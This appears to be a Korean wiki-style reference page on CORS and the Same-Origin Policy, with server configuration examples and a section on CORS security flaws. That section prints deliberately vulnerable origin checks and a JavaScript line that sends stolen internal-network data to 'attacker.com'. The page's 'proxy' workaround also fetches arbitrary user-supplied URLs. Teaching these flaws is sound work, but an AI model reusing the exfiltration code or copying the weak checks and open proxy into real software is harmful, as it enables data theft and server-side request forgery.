전체 그래프
Authentication

CORS

web-securitycorsbrowserpolicy

상위: Web Security

요약

CORS(Cross-Origin Resource Sharing)는 브라우저가 다른 출처(Origin)의 리소스 접근을 제어하는 보안 메커니즘입니다. 기본적으로 Same-Origin Policy에 의해 차단되지만, 서버가 명시적으로 허용하면 접근이 가능합니다.

Same-Origin Policy (SOP)

Origin이란?

https://www.example.com:443/path/page.html
                      
Protocol  Host        Port

같은 Origin = Protocol + Host + Port 모두 일치

Origin 비교 예시

URL같은 Origin?이유
https://example.com/page1✅ 기준-
https://example.com/page2✅ 같음경로만 다름
http://example.com/page1❌ 다름Protocol 다름
https://api.example.com/❌ 다름Host 다름 (서브도메인)
https://example.com:8080/❌ 다름Port 다름

SOP가 차단하는 것

// https://myapp.com 에서 실행

// ❌ 차단됨 - 다른 Origin의 API 호출
fetch('https://api.other.com/data')

// ❌ 차단됨 - 다른 Origin의 응답 읽기
iframe.contentDocument  // (다른 origin iframe)

// ✅ 허용됨 - 같은 Origin
fetch('https://myapp.com/api/data')

CORS 동작 원리

Simple Request (단순 요청)

조건:

  • 메서드: GET, HEAD, POST
  • 헤더: Accept, Accept-Language, Content-Language, Content-Type
  • Content-Type: text/plain, multipart/form-data, application/x-www-form-urlencoded
┌─────────────────┐                    ┌─────────────────┐
  Browser                                Server       
 (myapp.com)                           (api.other.com)
└────────┬────────┘                    └────────┬────────┘
                                               
           1. GET /data                        
           Origin: https://myapp.com           │
         │─────────────────────────────────────▶│
                                               
           2. Response                         
           Access-Control-Allow-Origin: *      
         │◀─────────────────────────────────────│
                                               
           3. 브라우저가 CORS 헤더 확인          
              허용되면 응답 전달                 

Preflight Request (사전 요청)

조건:

  • PUT, DELETE, PATCH 등 메서드
  • 커스텀 헤더 (Authorization, X-Custom-Header)
  • Content-Type: application/json
┌─────────────────┐                    ┌─────────────────┐
  Browser                                Server       
└────────┬────────┘                    └────────┬────────┘
                                               
           1. OPTIONS /api/data (Preflight)    
           Origin: https://myapp.com           │
           Access-Control-Request-Method: POST 
           Access-Control-Request-Headers: Content-Type
         │─────────────────────────────────────▶│
                                               
           2. Preflight Response               
           Access-Control-Allow-Origin: https://myapp.com
           Access-Control-Allow-Methods: POST, GET
           Access-Control-Allow-Headers: Content-Type
           Access-Control-Max-Age: 86400       
         │◀─────────────────────────────────────│
                                               
           3. 실제 요청 (허용된 경우)            
           POST /api/data                      
           Content-Type: application/json      
         │─────────────────────────────────────▶│
                                               
           4. 실제 응답                         
         │◀─────────────────────────────────────│

CORS 헤더

응답 헤더 (서버 → 브라우저)

헤더설명예시
Access-Control-Allow-Origin허용할 Originhttps://myapp.com 또는 *
Access-Control-Allow-Methods허용할 메서드GET, POST, PUT, DELETE
Access-Control-Allow-Headers허용할 헤더Content-Type, Authorization
Access-Control-Allow-Credentials쿠키 전송 허용true
Access-Control-Expose-Headers접근 가능한 응답 헤더X-Custom-Header
Access-Control-Max-AgePreflight 캐시 시간86400 (24시간)

요청 헤더 (브라우저 → 서버)

헤더설명
Origin요청 출처
Access-Control-Request-MethodPreflight에서 실제 사용할 메서드
Access-Control-Request-HeadersPreflight에서 실제 사용할 헤더

서버 설정

Node.js (Express)

const cors = require('cors');

// 모든 Origin 허용 (개발용)
app.use(cors());

// 특정 Origin만 허용 (운영용)
app.use(cors({
    origin: ['https://myapp.com', 'https://admin.myapp.com'],
    methods: ['GET', 'POST', 'PUT', 'DELETE'],
    allowedHeaders: ['Content-Type', 'Authorization'],
    credentials: true,  // 쿠키 허용
    maxAge: 86400
}));

Python (Flask)

from flask_cors import CORS

# 모든 Origin 허용
CORS(app)

# 특정 Origin만 허용
CORS(app, resources={
    r"/api/*": {
        "origins": ["https://myapp.com"],
        "methods": ["GET", "POST", "PUT", "DELETE"],
        "allow_headers": ["Content-Type", "Authorization"],
        "supports_credentials": True
    }
})

Nginx

location /api/ {
    add_header Access-Control-Allow-Origin "https://myapp.com" always;
    add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
    add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
    add_header Access-Control-Allow-Credentials "true" always;

    # Preflight 요청 처리
    if ($request_method = OPTIONS) {
        add_header Access-Control-Max-Age 86400;
        add_header Content-Length 0;
        return 204;
    }
}

CORS 보안 취약점

1. 와일드카드 남용

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true   동시 사용 불가!

문제: *credentials: true는 함께 사용 불가 실수: Origin을 동적으로 *처럼 처리

# 취약한 코드
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    response.headers['Access-Control-Allow-Origin'] = origin  # 모든 Origin 허용!
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

2. Origin 검증 우회

# 취약한 검증
allowed = ['https://myapp.com']
origin = request.headers.get('Origin')

# 부분 문자열 매칭 (취약)
if 'myapp.com' in origin:  # https://myapp.com.evil.com도 통과!
    allow_cors()

안전한 검증:

if origin in allowed:  # 정확한 매칭
    allow_cors()

3. Null Origin 허용

Access-Control-Allow-Origin: null

문제: file:// 프로토콜이나 샌드박스 iframe에서 Origin: null 전송 가능 공격: 로컬 HTML 파일로 공격

4. 내부 네트워크 접근

// 공격자 사이트에서
fetch('http://192.168.1.1/admin/config')
    .then(response => response.text())
    .then(data => {
        // 내부 네트워크 데이터 탈취
        fetch('https://attacker.com/steal?data=' + data);
    });

방어: 내부 API는 CORS 비활성화 또는 엄격한 Origin 검증

Credentials와 CORS

credentials: 'include' 사용 시

fetch('https://api.other.com/data', {
    credentials: 'include'  // 쿠키 전송
});

서버 요구사항:

Access-Control-Allow-Origin: https://myapp.com  # * 사용 불가!
Access-Control-Allow-Credentials: true

우회 방법 (정상적인)

1. 프록시 서버 사용

// 프론트엔드 → 자체 백엔드 → 외부 API
fetch('/api/proxy?url=https://external-api.com/data')
# 백엔드 프록시
@app.route('/api/proxy')
def proxy():
    url = request.args.get('url')
    # 서버에서는 CORS 제한 없음
    response = requests.get(url)
    return response.json()

2. JSONP (레거시)

<script src="https://api.other.com/data?callback=handleData"></script>
<script>
function handleData(data) {
    console.log(data);
}
</script>

주의: GET만 가능, 보안 취약, 현재는 권장하지 않음

CORS 디버깅

브라우저 콘솔 에러

Access to fetch at 'https://api.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header
is present on the requested resource.

확인 방법

# Preflight 요청 테스트
curl -X OPTIONS https://api.com/data \
  -H "Origin: https://myapp.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type" \
  -v

# 응답 헤더 확인
< Access-Control-Allow-Origin: https://myapp.com
< Access-Control-Allow-Methods: POST, GET

관련 개념

  • CSRF - SOP 우회 공격
  • XSS - Same-Origin 내 공격
  • OAuth - Cross-Origin 인증

참고 자료